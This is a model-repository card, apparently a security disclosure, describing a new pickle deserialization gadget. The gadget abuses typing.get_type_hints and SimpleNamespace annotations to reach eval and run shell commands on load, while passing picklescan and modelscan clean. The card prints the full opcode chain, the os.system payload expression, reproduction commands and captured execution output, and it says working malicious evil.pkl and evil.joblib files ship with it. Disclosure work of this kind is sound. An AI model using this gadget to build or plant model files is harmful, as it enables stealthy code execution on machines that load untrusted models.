You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

NEW pickle RCE gadget: typing.get_type_hints() evaluates a crafted __annotations__ forward-ref via eval() β€” clean on both picklescan and modelscan

Category: Pickle deserialization RCE / model-scanner bypass (new gadget) Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8 Trigger runtime: CPython 3.13.12 (typing stdlib); reproduced via pickle.load and joblib.load (joblib 1.5.3) Payload: 306-byte pickle protocol 4 (evil.pkl == evil.joblib, identical bytes)


Summary

typing.get_type_hints(obj) reads obj.__annotations__ and, for any str annotation value, wraps it in a typing.ForwardRef and evaluates it with eval(). When obj is a plain instance (not a type/module), the global and local namespaces default to {}, so Python's eval auto-injects __builtins__ β€” making __import__ available and allowing an arbitrary expression to execute.

A pickle can hand typing.get_type_hints an attacker-built types.SimpleNamespace whose __annotations__ is {'x': "<malicious expr>"}. Neither typing/get_type_hints nor types/SimpleNamespace is on either scanner's dangerous/unsafe-globals list, and the RCE string travels only as an inert SHORT_BINUNICODE operand that no scanner inspects. Both scanners therefore report 0 issues while the payload runs on unpickle.

The expression is crafted as __import__('os').system(CMD) or int so get_type_hints() returns a valid type ({'x': int}) β€” _type_check() does not raise, and pickle.load / joblib.load complete with no traceback (stealthy).


Root cause

Call chain (CPython 3.13, Lib/typing.py):

typing.get_type_hints(obj)
  -> reads obj.__annotations__            # attacker-controlled dict {str: str}
  -> for a str value: ForwardRef(value)
  -> typing._eval_type(ForwardRef, globalns, localns)
  -> ForwardRef._evaluate(globalns, localns, ...)
  -> eval(compile(self.__forward_arg__, '<string>', 'eval'), globalns, localns)

For a non-type, non-module object, get_type_hints leaves globalns/localns empty. CPython's eval then auto-populates __builtins__, so __import__('os').system(...) resolves and executes. This is a genuine code-execution primitive reachable purely from attacker-supplied instance state β€” exactly what a pickle BUILD opcode provides.

Why both scanners miss it

  • picklescan 1.0.5 β€” typing.get_type_hints and types.SimpleNamespace are absent from picklescan._unsafe_globals. They surface only as suspicious globals (count 2), not dangerous; Infected files: 0.
  • modelscan 0.8.8 β€” neither symbol appears in DEFAULT_SETTINGS['unsafe_globals']. No issues found.
  • The dangerous string (__import__('os').system(...)) is never a global/reduce target β€” it is a plain SHORT_BINUNICODE operand fed into a dict via SETITEM. Neither scanner performs data-flow or string inspection, so the payload is invisible to both.

PoC

Files in this repo:

File Purpose
gen_poc.py Generator β€” builds the pickle opcode chain by hand
evil.pkl 306-byte proto-4 payload (sha256 f9b5ed54787de8bd54de407357d11b56633171a792fea0f82d581a2c83fa5101)
evil.joblib Identical bytes to evil.pkl (joblib loads the same stream)
control_os.pkl Negative control β€” classic os.system reduce (both scanners MUST flag)

Opcode chain (pickletools.dis(evil.pkl))

    0: \x80 PROTO      4
    2: \x8c SHORT_BINUNICODE 'typing'
   10: \x8c SHORT_BINUNICODE 'get_type_hints'
   26: \x93 STACK_GLOBAL                      # push typing.get_type_hints
   27: \x8c SHORT_BINUNICODE 'types'
   34: \x8c SHORT_BINUNICODE 'SimpleNamespace'
   51: \x93 STACK_GLOBAL                      # push types.SimpleNamespace
   52: )    EMPTY_TUPLE
   53: R    REDUCE                            # ns = SimpleNamespace()
   54: }    EMPTY_DICT
   55: \x8c SHORT_BINUNICODE '__annotations__'
   72: }    EMPTY_DICT
   73: \x8c SHORT_BINUNICODE 'x'
   76: \x8c SHORT_BINUNICODE "__import__('os').system('id > .../PWNED_typing 2>&1; echo typing_get_type_hints_gadget_executed >> .../PWNED_typing') or int"
  300: s    SETITEM                           # inner {'x': EXPR}
  301: s    SETITEM                           # {'__annotations__': {'x': EXPR}}
  302: b    BUILD                             # ns.__dict__.update(state) -> sets ns.__annotations__
  303: \x85 TUPLE1                            # (ns,)
  304: R    REDUCE                            # typing.get_type_hints(ns)  -> eval -> RCE
  305: .    STOP

EXPR = "__import__('os').system('id > PWNED_typing 2>&1; echo typing_get_type_hints_gadget_executed >> PWNED_typing') or int"

Reproduce

# (Python 3.13.12 venv "scan313")
scan313/bin/python gen_poc.py
scan313/bin/python -c "import pickle; r=pickle.load(open('evil.pkl','rb')); print('load OK, type:', r)"
cat PWNED_typing
scan313/bin/python -c "import joblib; joblib.load('evil.joblib')"   # identical marker

# scan with scanners (venv "scan312")
scan312/bin/python -m picklescan -p evil.pkl
scan312/bin/modelscan -p evil.pkl

Captured evidence (verbatim)

Execution β€” Python 3.13.12

$ python -c "import pickle; r=pickle.load(open('evil.pkl','rb')); print('load returned OK, type:', r)"
load returned OK, type: {'x': <class 'int'>}

$ cat PWNED_typing
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
typing_get_type_hints_gadget_executed

joblib 1.5.3 β€” identical result

$ python -c "import joblib; print('joblib', joblib.__version__); r=joblib.load('evil.joblib'); print('joblib load OK, type:', r)"
joblib 1.5.3
joblib load OK, type: {'x': <class 'int'>}
# PWNED_typing marker written identically

Note: pickle.load / joblib.load return normally with no traceback β€” the crafted expression evaluates to a valid type (int), so typing._type_check() accepts it.

picklescan 1.0.5 on evil.pkl β€” CLEAN

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0

modelscan 0.8.8 on evil.pkl β€” CLEAN

--- Summary ---
 No issues found! πŸŽ‰

Negative control (control_os.pkl = os.system reduce) β€” BOTH scanners flag it

picklescan:

control_os.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1

modelscan:

--- Summary ---
Total Issues: 1
Total Issues By Severity:
    - CRITICAL: 1
--- CRITICAL ---
Unsafe operator found:
  - Description: Use of unsafe operator 'system' from module 'posix'

The control proves the scanners and test harness work; the gadget's cleanliness is specific to the new typing.get_type_hints primitive, not a broken setup.


Impact

Any pipeline that unpickles untrusted model files after clearing them through picklescan or modelscan is vulnerable to arbitrary code execution. Because pickle.load returns a valid value with no exception, the attack is stealthy β€” the loading application observes a normal {'x': int} annotation dict and continues. joblib.load (the default loader for scikit-learn .joblib / .pkl artifacts) is equally affected.

Suggested remediation

Add typing.get_type_hints and types.SimpleNamespace (and the broader class of stdlib callables that route attacker data into eval/compile) to the scanners' dangerous-globals lists. More robustly, treat any global outside an allowlist as unsafe rather than blocklisting known-bad names, since inert string operands carrying the payload can never be caught by name-based blocklists.

Dedup note

  • Distinct from all 19 prior known pickle gadgets and from every EnigmaConsultant HF pickle-* PoC repo (verified against the account's repo listing; no typing/get_type_hints gadget exists).
  • Not a known CVE: the primitive is typing.get_type_hints β†’ ForwardRef._evaluate β†’ eval, invoked via a SimpleNamespace instance built entirely from pickle BUILD state. No prior scanner-bypass advisory covers this call path.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support